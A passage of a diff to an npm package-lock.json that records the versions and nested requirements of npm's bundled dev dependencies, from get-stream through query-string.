"dependencies": { + "get-stream": { + "version": "3.0.0", + "bundled": true, + "dev": true + } + } + }, + "extend": { + "version": "3.0.2", + "bundled": true, + "dev": true + }, + "extsprintf": { + "version": "1.3.0", + "bundled": true, + "dev": true + }, + "fast-json-stable-stringify": { + "version": "2.0.0", + "bundled": true, + "dev": true + }, + "figgy-pudding": { + "version": "3.5.2", + "bundled": true, + "dev": true + }, + "filter-obj": { + "version": "1.1.0", + "bundled": true, + "dev": true + }, + "find-npm-prefix": { + "version": "1.0.2", + "bundled": true, + "dev": true + }, + "flush-write-stream": { + "version": "1.0.3", + "bundled": true, + "dev": true, + "requires": { + "inherits": "^2.0.1", + "readable-stream": "^2.0.4" + }, + "dependencies": { + "readable-stream": { + "version": "2.3.6", + "bundled": true, + "dev": true, + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + }, + "dependencies": { + "safe-buffer": { + "version": "5.1.2", + "bundled": true, + "dev": true + } + } + }, + "string_decoder": { + "version": "1.1.1", + "bundled": true, + "dev": true, + "requires": { + "safe-buffer": "~5.1.0" + }, + "dependencies": { + "safe-buffer": { + "version": "5.1.2", + "bundled": true, + "dev": true + } + } + } + } + }, + "forever-agent": { + "version": "0.6.1", + "bundled": true, + "dev": true + }, + "form-data": { + "version": "2.3.3", + "bundled": true, + "dev": true, + "requires": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.6", + "mime-types": "^2.1.12" + } + }, + "from2": { + "version": "2.3.0", + "bundled": true, + "dev": true, + "requires": { + "inherits": "^2.0.1", + "readable-stream": "^2.0.0" + }, + "dependencies": { + "readable-stream": { + "version": "2.3.6", + "bundled": true, + "dev": true, + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + }, + "dependencies": { + "safe-buffer": { + "version": "5.1.2", + "bundled": true, + "dev": true + } + } + }, + "string_decoder": { + "version": "1.1.1", + "bundled": true, + "dev": true, + "requires": { + "safe-buffer": "~5.1.0" + }, + "dependencies": { + "safe-buffer": { + "version": "5.1.2", + "bundled": true, + "dev": true + } + } + } + } + }, + "fs-minipass": { + "version": "1.2.7", + "bundled": true, + "dev": true, + "requires": { + "minipass": "^2.6.0" + }, + "dependencies": { + "minipass": { + "version": "2.9.0", + "bundled": true, + "dev": true, + "requires": { + "safe-buffer": "^5.1.2", + "yallist": "^3.0.0" + } + } + } + }, + "fs-vacuum": { + "version": "1.2.10", + "bundled": true, + "dev": true, + "requires": { + "graceful-fs": "^4.1.2", + "path-is-inside": "^1.0.1", + "rimraf": "^2.5.2" + } + }, + "fs-write-stream-atomic": { + "version": "1.0.10", + "bundled": true, + "dev": true, + "requires": { + "graceful-fs": "^4.1.2", + "iferr": "^0.1.5", + "imurmurhash": "^0.1.4", + "readable-stream": "1 || 2" + }, + "dependencies": { + "iferr": { + "version": "0.1.5", + "bundled": true, + "dev": true + }, + "readable-stream": { + "version": "2.3.6", + "bundled": true, + "dev": true, + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + }, + "dependencies": { + "safe-buffer": { + "version": "5.1.2", + "bundled": true, + "dev": true + } + } + }, + "string_decoder": { + "version": "1.1.1", + "bundled": true, + "dev": true, + "requires": { + "safe-buffer": "~5.1.0" + }, + "dependencies": { + "safe-buffer": { + "version": "5.1.2", + "bundled": true, + "dev": true + } + } + } + } + }, + "fs.realpath": { + "version": "1.0.0", + "bundled": true, + "dev": true + }, + "function-bind": { + "version": "1.1.1", + "bundled": true, + "dev": true + }, + "gauge": { + "version": "2.7.4", + "bundled": true, + "dev": true, + "requires": { + "aproba": "^1.0.3", + "console-control-strings": "^1.0.0", + "has-unicode": "^2.0.0", + "object-assign": "^4.1.0", + "signal-exit": "^3.0.0", + "string-width": "^1.0.1", + "strip-ansi": "^3.0.1", + "wide-align": "^1.1.0" + }, + "dependencies": { + "aproba": { + "version": "1.2.0", + "bundled": true, + "dev": true + }, + "string-width": { + "version": "1.0.2", + "bundled": true, + "dev": true, + "requires": { + "code-point-at": "^1.0.0", + "is-fullwidth-code-point": "^1.0.0", + "strip-ansi": "^3.0.0" + } + } + } + }, + "genfun": { + "version": "5.0.0", + "bundled": true, + "dev": true + }, + "gentle-fs": { + "version": "2.3.1", + "bundled": true, + "dev": true, + "requires": { + "aproba": "^1.1.2", + "chownr": "^1.1.2", + "cmd-shim": "^3.0.3", + "fs-vacuum": "^1.2.10", + "graceful-fs": "^4.1.11", + "iferr": "^0.1.5", + "infer-owner": "^1.0.4", + "mkdirp": "^0.5.1", + "path-is-inside": "^1.0.2", + "read-cmd-shim": "^1.0.1", + "slide": "^1.1.6" + }, + "dependencies": { + "aproba": { + "version": "1.2.0", + "bundled": true, + "dev": true + }, + "iferr": { + "version": "0.1.5", + "bundled": true, + "dev": true + } + } + }, + "get-caller-file": { + "version": "2.0.5", + "bundled": true, + "dev": true + }, + "get-stream": { + "version": "4.1.0", + "bundled": true, + "dev": true, + "requires": { + "pump": "^3.0.0" + } + }, + "getpass": { + "version": "0.1.7", + "bundled": true, + "dev": true, + "requires": { + "assert-plus": "^1.0.0" + } + }, + "glob": { + "version": "7.2.3", + "bundled": true, + "dev": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "dependencies": { + "minimatch": { + "version": "3.1.2", + "bundled": true, + "dev": true, + "requires": { + "brace-expansion": "^1.1.7" + } + } + } + }, + "global-dirs": { + "version": "0.1.1", + "bundled": true, + "dev": true, + "requires": { + "ini": "^1.3.4" + } + }, + "got": { + "version": "6.7.1", + "bundled": true, + "dev": true, + "requires": { + "create-error-class": "^3.0.0", + "duplexer3": "^0.1.4", + "get-stream": "^3.0.0", + "is-redirect": "^1.0.0", + "is-retry-allowed": "^1.0.0", + "is-stream": "^1.0.0", + "lowercase-keys": "^1.0.0", + "safe-buffer": "^5.0.1", + "timed-out": "^4.0.0", + "unzip-response": "^2.0.1", + "url-parse-lax": "^1.0.0" + }, + "dependencies": { + "get-stream": { + "version": "3.0.0", + "bundled": true, + "dev": true + } + } + }, + "graceful-fs": { + "version": "4.2.10", + "bundled": true, + "dev": true + }, + "har-schema": { + "version": "2.0.0", + "bundled": true, + "dev": true + }, + "har-validator": { + "version": "5.1.5", + "bundled": true, + "dev": true, + "requires": { + "ajv": "^6.12.3", + "har-schema": "^2.0.0" + }, + "dependencies": { + "ajv": { + "version": "6.12.6", + "bundled": true, + "dev": true, + "requires": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + } + }, + "fast-deep-equal": { + "version": "3.1.3", + "bundled": true, + "dev": true + }, + "json-schema-traverse": { + "version": "0.4.1", + "bundled": true, + "dev": true + } + } + }, + "has": { + "version": "1.0.3", + "bundled": true, + "dev": true, + "requires": { + "function-bind": "^1.1.1" + } + }, + "has-flag": { + "version": "3.0.0", + "bundled": true, + "dev": true + }, + "has-symbols": { + "version": "1.0.0", + "bundled": true, + "dev": true + }, + "has-unicode": { + "version": "2.0.1", + "bundled": true, + "dev": true + }, + "hosted-git-info": { + "version": "2.8.9", + "bundled": true, + "dev": true + }, + "http-cache-semantics": { + "version": "3.8.1", + "bundled": true, + "dev": true + }, + "http-proxy-agent": { + "version": "2.1.0", + "bundled": true, + "dev": true, + "requires": { + "agent-base": "4", + "debug": "3.1.0" + } + }, + "http-signature": { + "version": "1.2.0", + "bundled": true, + "dev": true, + "requires": { + "assert-plus": "^1.0.0", + "jsprim": "^1.2.2", + "sshpk": "^1.7.0" + } + }, + "https-proxy-agent": { + "version": "2.2.4", + "bundled": true, + "dev": true, + "requires": { + "agent-base": "^4.3.0", + "debug": "^3.1.0" + } + }, + "humanize-ms": { + "version": "1.2.1", + "bundled": true, + "dev": true, + "requires": { + "ms": "^2.0.0" + } + }, + "iconv-lite": { + "version": "0.4.23", + "bundled": true, + "dev": true, + "requires": { + "safer-buffer": ">= 2.1.2 < 3" + } + }, + "iferr": { + "version": "1.0.2", + "bundled": true, + "dev": true + }, + "ignore-walk": { + "version": "3.0.3", + "bundled": true, + "dev": true, + "requires": { + "minimatch": "^3.0.4" + } + }, + "import-lazy": { + "version": "2.1.0", + "bundled": true, + "dev": true + }, + "imurmurhash": { + "version": "0.1.4", + "bundled": true, + "dev": true + }, + "infer-owner": { + "version": "1.0.4", + "bundled": true, + "dev": true + }, + "inflight": { + "version": "1.0.6", + "bundled": true, + "dev": true, + "requires": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "inherits": { + "version": "2.0.4", + "bundled": true, + "dev": true + }, + "ini": { + "version": "1.3.8", + "bundled": true, + "dev": true + }, + "init-package-json": { + "version": "1.10.3", + "bundled": true, + "dev": true, + "requires": { + "glob": "^7.1.1", + "npm-package-arg": "^4.0.0 || ^5.0.0 || ^6.0.0", + "promzard": "^0.3.0", + "read": "~1.0.1", + "read-package-json": "1 || 2", + "semver": "2.x || 3.x || 4 || 5", + "validate-npm-package-license": "^3.0.1", + "validate-npm-package-name": "^3.0.0" + } + }, + "ip": { + "version": "1.1.5", + "bundled": true, + "dev": true + }, + "ip-regex": { + "version": "2.1.0", + "bundled": true, + "dev": true + }, + "is-callable": { + "version": "1.1.4", + "bundled": true, + "dev": true + }, + "is-ci": { + "version": "1.2.1", + "bundled": true, + "dev": true, + "requires": { + "ci-info": "^1.5.0" + }, + "dependencies": { + "ci-info": { + "version": "1.6.0", + "bundled": true, + "dev": true + } + } + }, + "is-cidr": { + "version": "3.1.1", + "bundled": true, + "dev": true, + "requires": { + "cidr-regex": "^2.0.10" + } + }, + "is-date-object": { + "version": "1.0.1", + "bundled": true, + "dev": true + }, + "is-fullwidth-code-point": { + "version": "1.0.0", + "bundled": true, + "dev": true, + "requires": { + "number-is-nan": "^1.0.0" + } + }, + "is-installed-globally": { + "version": "0.1.0", + "bundled": true, + "dev": true, + "requires": { + "global-dirs": "^0.1.0", + "is-path-inside": "^1.0.0" + } + }, + "is-npm": { + "version": "1.0.0", + "bundled": true, + "dev": true + }, + "is-obj": { + "version": "1.0.1", + "bundled": true, + "dev": true + }, + "is-path-inside": { + "version": "1.0.1", + "bundled": true, + "dev": true, + "requires": { + "path-is-inside": "^1.0.1" + } + }, + "is-redirect": { + "version": "1.0.0", + "bundled": true, + "dev": true + }, + "is-regex": { + "version": "1.0.4", + "bundled": true, + "dev": true, + "requires": { + "has": "^1.0.1" + } + }, + "is-retry-allowed": { + "version": "1.2.0", + "bundled": true, + "dev": true + }, + "is-stream": { + "version": "1.1.0", + "bundled": true, + "dev": true + }, + "is-symbol": { + "version": "1.0.2", + "bundled": true, + "dev": true, + "requires": { + "has-symbols": "^1.0.0" + } + }, + "is-typedarray": { + "version": "1.0.0", + "bundled": true, + "dev": true + }, + "isarray": { + "version": "1.0.0", + "bundled": true, + "dev": true + }, + "isexe": { + "version": "2.0.0", + "bundled": true, + "dev": true + }, + "isstream": { + "version": "0.1.2", + "bundled": true, + "dev": true + }, + "jsbn": { + "version": "0.1.1", + "bundled": true, + "dev": true + }, + "json-parse-better-errors": { + "version": "1.0.2", + "bundled": true, + "dev": true + }, + "json-parse-even-better-errors": { + "version": "2.3.1", + "bundled": true, + "dev": true + }, + "json-schema": { + "version": "0.4.0", + "bundled": true, + "dev": true + }, + "json-stringify-safe": { + "version": "5.0.1", + "bundled": true, + "dev": true + }, + "jsonparse": { + "version": "1.3.1", + "bundled": true, + "dev": true + }, + "JSONStream": { + "version": "1.3.5", + "bundled": true, + "dev": true, + "requires": { + "jsonparse": "^1.2.0", + "through": ">=2.2.7 <3" + } + }, + "jsprim": { + "version": "1.4.2", + "bundled": true, + "dev": true, + "requires": { + "assert-plus": "1.0.0", + "extsprintf": "1.3.0", + "json-schema": "0.4.0", + "verror": "1.10.0" + } + }, + "latest-version": { + "version": "3.1.0", + "bundled": true, + "dev": true, + "requires": { + "package-json": "^4.0.0" + } + }, + "lazy-property": { + "version": "1.0.0", + "bundled": true, + "dev": true + }, + "libcipm": { + "version": "4.0.8", + "bundled": true, + "dev": true, + "requires": { + "bin-links": "^1.1.2", + "bluebird": "^3.5.1", + "figgy-pudding": "^3.5.1", + "find-npm-prefix": "^1.0.2", + "graceful-fs": "^4.1.11", + "ini": "^1.3.5", + "lock-verify": "^2.1.0", + "mkdirp": "^0.5.1", + "npm-lifecycle": "^3.0.0", + "npm-logical-tree": "^1.2.1", + "npm-package-arg": "^6.1.0", + "pacote": "^9.1.0", + "read-package-json": "^2.0.13", + "rimraf": "^2.6.2", + "worker-farm": "^1.6.0" + } + }, + "libnpm": { + "version": "3.0.1", + "bundled": true, + "dev": true, + "requires": { + "bin-links": "^1.1.2", + "bluebird": "^3.5.3", + "find-npm-prefix": "^1.0.2", + "libnpmaccess": "^3.0.2", + "libnpmconfig": "^1.2.1", + "libnpmhook": "^5.0.3", + "libnpmorg": "^1.0.1", + "libnpmpublish": "^1.1.2", + "libnpmsearch": "^2.0.2", + "libnpmteam": "^1.0.2", + "lock-verify": "^2.0.2", + "npm-lifecycle": "^3.0.0", + "npm-logical-tree": "^1.2.1", + "npm-package-arg": "^6.1.0", + "npm-profile": "^4.0.2", + "npm-registry-fetch": "^4.0.0", + "npmlog": "^4.1.2", + "pacote": "^9.5.3", + "read-package-json": "^2.0.13", + "stringify-package": "^1.0.0" + } + }, + "libnpmaccess": { + "version": "3.0.2", + "bundled": true, + "dev": true, + "requires": { + "aproba": "^2.0.0", + "get-stream": "^4.0.0", + "npm-package-arg": "^6.1.0", + "npm-registry-fetch": "^4.0.0" + } + }, + "libnpmconfig": { + "version": "1.2.1", + "bundled": true, + "dev": true, + "requires": { + "figgy-pudding": "^3.5.1", + "find-up": "^3.0.0", + "ini": "^1.3.5" + }, + "dependencies": { + "find-up": { + "version": "3.0.0", + "bundled": true, + "dev": true, + "requires": { + "locate-path": "^3.0.0" + } + }, + "locate-path": { + "version": "3.0.0", + "bundled": true, + "dev": true, + "requires": { + "p-locate": "^3.0.0", + "path-exists": "^3.0.0" + } + }, + "p-limit": { + "version": "2.2.0", + "bundled": true, + "dev": true, + "requires": { + "p-try": "^2.0.0" + } + }, + "p-locate": { + "version": "3.0.0", + "bundled": true, + "dev": true, + "requires": { + "p-limit": "^2.0.0" + } + }, + "p-try": { + "version": "2.2.0", + "bundled": true, + "dev": true + } + } + }, + "libnpmhook": { + "version": "5.0.3", + "bundled": true, + "dev": true, + "requires": { + "aproba": "^2.0.0", + "figgy-pudding": "^3.4.1", + "get-stream": "^4.0.0", + "npm-registry-fetch": "^4.0.0" + } + }, + "libnpmorg": { + "version": "1.0.1", + "bundled": true, + "dev": true, + "requires": { + "aproba": "^2.0.0", + "figgy-pudding": "^3.4.1", + "get-stream": "^4.0.0", + "npm-registry-fetch": "^4.0.0" + } + }, + "libnpmpublish": { + "version": "1.1.2", + "bundled": true, + "dev": true, + "requires": { + "aproba": "^2.0.0", + "figgy-pudding": "^3.5.1", + "get-stream": "^4.0.0", + "lodash.clonedeep": "^4.5.0", + "normalize-package-data": "^2.4.0", + "npm-package-arg": "^6.1.0", + "npm-registry-fetch": "^4.0.0", + "semver": "^5.5.1", + "ssri": "^6.0.1" + } + }, + "libnpmsearch": { + "version": "2.0.2", + "bundled": true, + "dev": true, + "requires": { + "figgy-pudding": "^3.5.1", + "get-stream": "^4.0.0", + "npm-registry-fetch": "^4.0.0" + } + }, + "libnpmteam": { + "version": "1.0.2", + "bundled": true, + "dev": true, + "requires": { + "aproba": "^2.0.0", + "figgy-pudding": "^3.4.1", + "get-stream": "^4.0.0", + "npm-registry-fetch": "^4.0.0" + } + }, + "libnpx": { + "version": "10.2.4", + "bundled": true, + "dev": true, + "requires": { + "dotenv": "^5.0.1", + "npm-package-arg": "^6.0.0", + "rimraf": "^2.6.2", + "safe-buffer": "^5.1.0", + "update-notifier": "^2.3.0", + "which": "^1.3.0", + "y18n": "^4.0.0", + "yargs": "^14.2.3" + } + }, + "lock-verify": { + "version": "2.2.2", + "bundled": true, + "dev": true, + "requires": { + "@iarna/cli": "^2.1.0", + "npm-package-arg": "^6.1.0", + "semver": "^5.4.1" + } + }, + "lockfile": { + "version": "1.0.4", + "bundled": true, + "dev": true, + "requires": { + "signal-exit": "^3.0.2" + } + }, + "lodash._baseindexof": { + "version": "3.1.0", + "bundled": true, + "dev": true + }, + "lodash._baseuniq": { + "version": "4.6.0", + "bundled": true, + "dev": true, + "requires": { + "lodash._createset": "~4.0.0", + "lodash._root": "~3.0.0" + } + }, + "lodash._bindcallback": { + "version": "3.0.1", + "bundled": true, + "dev": true + }, + "lodash._cacheindexof": { + "version": "3.0.2", + "bundled": true, + "dev": true + }, + "lodash._createcache": { + "version": "3.1.2", + "bundled": true, + "dev": true, + "requires": { + "lodash._getnative": "^3.0.0" + } + }, + "lodash._createset": { + "version": "4.0.3", + "bundled": true, + "dev": true + }, + "lodash._getnative": { + "version": "3.9.1", + "bundled": true, + "dev": true + }, + "lodash._root": { + "version": "3.0.1", + "bundled": true, + "dev": true + }, + "lodash.clonedeep": { + "version": "4.5.0", + "bundled": true, + "dev": true + }, + "lodash.restparam": { + "version": "3.6.1", + "bundled": true, + "dev": true + }, + "lodash.union": { + "version": "4.6.0", + "bundled": true, + "dev": true + }, + "lodash.uniq": { + "version": "4.5.0", + "bundled": true, + "dev": true + }, + "lodash.without": { + "version": "4.4.0", + "bundled": true, + "dev": true + }, + "lowercase-keys": { + "version": "1.0.1", + "bundled": true, + "dev": true + }, + "lru-cache": { + "version": "5.1.1", + "bundled": true, + "dev": true, + "requires": { + "yallist": "^3.0.2" + } + }, + "make-dir": { + "version": "1.3.0", + "bundled": true, + "dev": true, + "requires": { + "pify": "^3.0.0" + } + }, + "make-fetch-happen": { + "version": "5.0.2", + "bundled": true, + "dev": true, + "requires": { + "agentkeepalive": "^3.4.1", + "cacache": "^12.0.0", + "http-cache-semantics": "^3.8.1", + "http-proxy-agent": "^2.1.0", + "https-proxy-agent": "^2.2.3", + "lru-cache": "^5.1.1", + "mississippi": "^3.0.0", + "node-fetch-npm": "^2.0.2", + "promise-retry": "^1.1.1", + "socks-proxy-agent": "^4.0.0", + "ssri": "^6.0.0" + } + }, + "meant": { + "version": "1.0.3", + "bundled": true, + "dev": true + }, + "mime-db": { + "version": "1.35.0", + "bundled": true, + "dev": true + }, + "mime-types": { + "version": "2.1.19", + "bundled": true, + "dev": true, + "requires": { + "mime-db": "~1.35.0" + } + }, + "minimatch": { + "version": "3.1.2", + "bundled": true, + "dev": true, + "requires": { + "brace-expansion": "^1.1.7" + } + }, + "minimist": { + "version": "1.2.6", + "bundled": true, + "dev": true + }, + "minizlib": { + "version": "1.3.3", + "bundled": true, + "dev": true, + "requires": { + "minipass": "^2.9.0" + }, + "dependencies": { + "minipass": { + "version": "2.9.0", + "bundled": true, + "dev": true, + "requires": { + "safe-buffer": "^5.1.2", + "yallist": "^3.0.0" + } + } + } + }, + "mississippi": { + "version": "3.0.0", + "bundled": true, + "dev": true, + "requires": { + "concat-stream": "^1.5.0", + "duplexify": "^3.4.2", + "end-of-stream": "^1.1.0", + "flush-write-stream": "^1.0.0", + "from2": "^2.1.0", + "parallel-transform": "^1.1.0", + "pump": "^3.0.0", + "pumpify": "^1.3.3", + "stream-each": "^1.1.0", + "through2": "^2.0.0" + } + }, + "mkdirp": { + "version": "0.5.6", + "bundled": true, + "dev": true, + "requires": { + "minimist": "^1.2.6" + } + }, + "move-concurrently": { + "version": "1.0.1", + "bundled": true, + "dev": true, + "requires": { + "aproba": "^1.1.1", + "copy-concurrently": "^1.0.0", + "fs-write-stream-atomic": "^1.0.8", + "mkdirp": "^0.5.1", + "rimraf": "^2.5.4", + "run-queue": "^1.0.3" + }, + "dependencies": { + "aproba": { + "version": "1.2.0", + "bundled": true, + "dev": true + } + } + }, + "ms": { + "version": "2.1.1", + "bundled": true, + "dev": true + }, + "mute-stream": { + "version": "0.0.7", + "bundled": true, + "dev": true + }, + "node-fetch-npm": { + "version": "2.0.2", + "bundled": true, + "dev": true, + "requires": { + "encoding": "^0.1.11", + "json-parse-better-errors": "^1.0.0", + "safe-buffer": "^5.1.1" + } + }, + "node-gyp": { + "version": "5.1.1", + "bundled": true, + "dev": true, + "requires": { + "env-paths": "^2.2.0", + "glob": "^7.1.4", + "graceful-fs": "^4.2.2", + "mkdirp": "^0.5.1", + "nopt": "^4.0.1", + "npmlog": "^4.1.2", + "request": "^2.88.0", + "rimraf": "^2.6.3", + "semver": "^5.7.1", + "tar": "^4.4.12", + "which": "^1.3.1" + } + }, + "nopt": { + "version": "4.0.3", + "bundled": true, + "dev": true, + "requires": { + "abbrev": "1", + "osenv": "^0.1.4" + } + }, + "normalize-package-data": { + "version": "2.5.0", + "bundled": true, + "dev": true, + "requires": { + "hosted-git-info": "^2.1.4", + "resolve": "^1.10.0", + "semver": "2 || 3 || 4 || 5", + "validate-npm-package-license": "^3.0.1" + }, + "dependencies": { + "resolve": { + "version": "1.10.0", + "bundled": true, + "dev": true, + "requires": { + "path-parse": "^1.0.6" + } + } + } + }, + "npm-audit-report": { + "version": "1.3.3", + "bundled": true, + "dev": true, + "requires": { + "cli-table3": "^0.5.0", + "console-control-strings": "^1.1.0" + } + }, + "npm-bundled": { + "version": "1.1.1", + "bundled": true, + "dev": true, + "requires": { + "npm-normalize-package-bin": "^1.0.1" + } + }, + "npm-cache-filename": { + "version": "1.0.2", + "bundled": true, + "dev": true + }, + "npm-install-checks": { + "version": "3.0.2", + "bundled": true, + "dev": true, + "requires": { + "semver": "^2.3.0 || 3.x || 4 || 5" + } + }, + "npm-lifecycle": { + "version": "3.1.5", + "bundled": true, + "dev": true, + "requires": { + "byline": "^5.0.0", + "graceful-fs": "^4.1.15", + "node-gyp": "^5.0.2", + "resolve-from": "^4.0.0", + "slide": "^1.1.6", + "uid-number": "0.0.6", + "umask": "^1.1.0", + "which": "^1.3.1" + } + }, + "npm-logical-tree": { + "version": "1.2.1", + "bundled": true, + "dev": true + }, + "npm-normalize-package-bin": { + "version": "1.0.1", + "bundled": true, + "dev": true + }, + "npm-package-arg": { + "version": "6.1.1", + "bundled": true, + "dev": true, + "requires": { + "hosted-git-info": "^2.7.1", + "osenv": "^0.1.5", + "semver": "^5.6.0", + "validate-npm-package-name": "^3.0.0" + } + }, + "npm-packlist": { + "version": "1.4.8", + "bundled": true, + "dev": true, + "requires": { + "ignore-walk": "^3.0.1", + "npm-bundled": "^1.0.1", + "npm-normalize-package-bin": "^1.0.1" + } + }, + "npm-pick-manifest": { + "version": "3.0.2", + "bundled": true, + "dev": true, + "requires": { + "figgy-pudding": "^3.5.1", + "npm-package-arg": "^6.0.0", + "semver": "^5.4.1" + } + }, + "npm-profile": { + "version": "4.0.4", + "bundled": true, + "dev": true, + "requires": { + "aproba": "^1.1.2 || 2", + "figgy-pudding": "^3.4.1", + "npm-registry-fetch": "^4.0.0" + } + }, + "npm-registry-fetch": { + "version": "4.0.7", + "bundled": true, + "dev": true, + "requires": { + "bluebird": "^3.5.1", + "figgy-pudding": "^3.4.1", + "JSONStream": "^1.3.4", + "lru-cache": "^5.1.1", + "make-fetch-happen": "^5.0.0", + "npm-package-arg": "^6.1.0", + "safe-buffer": "^5.2.0" + }, + "dependencies": { + "safe-buffer": { + "version": "5.2.1", + "bundled": true, + "dev": true + } + } + }, + "npm-run-path": { + "version": "2.0.2", + "bundled": true, + "dev": true, + "requires": { + "path-key": "^2.0.0" + } + }, + "npm-user-validate": { + "version": "1.0.1", + "bundled": true, + "dev": true + }, + "npmlog": { + "version": "4.1.2", + "bundled": true, + "dev": true, + "requires": { + "are-we-there-yet": "~1.1.2", + "console-control-strings": "~1.1.0", + "gauge": "~2.7.3", + "set-blocking": "~2.0.0" + } + }, + "number-is-nan": { + "version": "1.0.1", + "bundled": true, + "dev": true + }, + "oauth-sign": { + "version": "0.9.0", + "bundled": true, + "dev": true + }, + "object-assign": { + "version": "4.1.1", + "bundled": true, + "dev": true + }, + "object-keys": { + "version": "1.0.12", + "bundled": true, + "dev": true + }, + "object.getownpropertydescriptors": { + "version": "2.0.3", + "bundled": true, + "dev": true, + "requires": { + "define-properties": "^1.1.2", + "es-abstract": "^1.5.1" + } + }, + "once": { + "version": "1.4.0", + "bundled": true, + "dev": true, + "requires": { + "wrappy": "1" + } + }, + "opener": { + "version": "1.5.2", + "bundled": true, + "dev": true + }, + "os-homedir": { + "version": "1.0.2", + "bundled": true, + "dev": true + }, + "os-tmpdir": { + "version": "1.0.2", + "bundled": true, + "dev": true + }, + "osenv": { + "version": "0.1.5", + "bundled": true, + "dev": true, + "requires": { + "os-homedir": "^1.0.0", + "os-tmpdir": "^1.0.0" + } + }, + "p-finally": { + "version": "1.0.0", + "bundled": true, + "dev": true + }, + "package-json": { + "version": "4.0.1", + "bundled": true, + "dev": true, + "requires": { + "got": "^6.7.1", + "registry-auth-token": "^3.0.1", + "registry-url": "^3.0.3", + "semver": "^5.1.0" + } + }, + "pacote": { + "version": "9.5.12", + "bundled": true, + "dev": true, + "requires": { + "bluebird": "^3.5.3", + "cacache": "^12.0.2", + "chownr": "^1.1.2", + "figgy-pudding": "^3.5.1", + "get-stream": "^4.1.0", + "glob": "^7.1.3", + "infer-owner": "^1.0.4", + "lru-cache": "^5.1.1", + "make-fetch-happen": "^5.0.0", + "minimatch": "^3.0.4", + "minipass": "^2.3.5", + "mississippi": "^3.0.0", + "mkdirp": "^0.5.1", + "normalize-package-data": "^2.4.0", + "npm-normalize-package-bin": "^1.0.0", + "npm-package-arg": "^6.1.0", + "npm-packlist": "^1.1.12", + "npm-pick-manifest": "^3.0.0", + "npm-registry-fetch": "^4.0.0", + "osenv": "^0.1.5", + "promise-inflight": "^1.0.1", + "promise-retry": "^1.1.1", + "protoduck": "^5.0.1", + "rimraf": "^2.6.2", + "safe-buffer": "^5.1.2", + "semver": "^5.6.0", + "ssri": "^6.0.1", + "tar": "^4.4.10", + "unique-filename": "^1.1.1", + "which": "^1.3.1" + }, + "dependencies": { + "minipass": { + "version": "2.9.0", + "bundled": true, + "dev": true, + "requires": { + "safe-buffer": "^5.1.2", + "yallist": "^3.0.0" + } + } + } + }, + "parallel-transform": { + "version": "1.1.0", + "bundled": true, + "dev": true, + "requires": { + "cyclist": "~0.2.2", + "inherits": "^2.0.3", + "readable-stream": "^2.1.5" + }, + "dependencies": { + "readable-stream": { + "version": "2.3.6", + "bundled": true, + "dev": true, + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + }, + "dependencies": { + "safe-buffer": { + "version": "5.1.2", + "bundled": true, + "dev": true + } + } + }, + "string_decoder": { + "version": "1.1.1", + "bundled": true, + "dev": true, + "requires": { + "safe-buffer": "~5.1.0" + }, + "dependencies": { + "safe-buffer": { + "version": "5.1.2", + "bundled": true, + "dev": true + } + } + } + } + }, + "path-exists": { + "version": "3.0.0", + "bundled": true, + "dev": true + }, + "path-is-absolute": { + "version": "1.0.1", + "bundled": true, + "dev": true + }, + "path-is-inside": { + "version": "1.0.2", + "bundled": true, + "dev": true + }, + "path-key": { + "version": "2.0.1", + "bundled": true, + "dev": true + }, + "path-parse": { + "version": "1.0.7", + "bundled": true, + "dev": true + }, + "performance-now": { + "version": "2.1.0", + "bundled": true, + "dev": true + }, + "pify": { + "version": "3.0.0", + "bundled": true, + "dev": true + }, + "prepend-http": { + "version": "1.0.4", + "bundled": true, + "dev": true + }, + "process-nextick-args": { + "version": "2.0.0", + "bundled": true, + "dev": true + }, + "promise-inflight": { + "version": "1.0.1", + "bundled": true, + "dev": true + }, + "promise-retry": { + "version": "1.1.1", + "bundled": true, + "dev": true, + "requires": { + "err-code": "^1.0.0", + "retry": "^0.10.0" + }, + "dependencies": { + "retry": { + "version": "0.10.1", + "bundled": true, + "dev": true + } + } + }, + "promzard": { + "version": "0.3.0", + "bundled": true, + "dev": true, + "requires": { + "read": "1" + } + }, + "proto-list": { + "version": "1.2.4", + "bundled": true, + "dev": true + }, + "protoduck": { + "version": "5.0.1", + "bundled": true, + "dev": true, + "requires": { + "genfun": "^5.0.0" + } + }, + "prr": { + "version": "1.0.1", + "bundled": true, + "dev": true + }, + "pseudomap": { + "version": "1.0.2", + "bundled": true, + "dev": true + }, + "psl": { + "version": "1.9.0", + "bundled": true, + "dev": true + }, + "pump": { + "version": "3.0.0", + "bundled": true, + "dev": true, + "requires": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "pumpify": { + "version": "1.5.1", + "bundled": true, + "dev": true, + "requires": { + "duplexify": "^3.6.0", + "inherits": "^2.0.3", + "pump": "^2.0.0" + }, + "dependencies": { + "pump": { + "version": "2.0.1", + "bundled": true, + "dev": true, + "requires": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + } + } + }, + "qrcode-terminal": { + "version": "0.12.0", + "bundled": true, + "dev": true + }, + "qs": { + "version": "6.5.3", + "bundled": true, + "dev": true + }, + "query-string": { + "version": "6.14.1", + "bundled": true, + "dev": true, + "requires": { + "decode-uri-component": 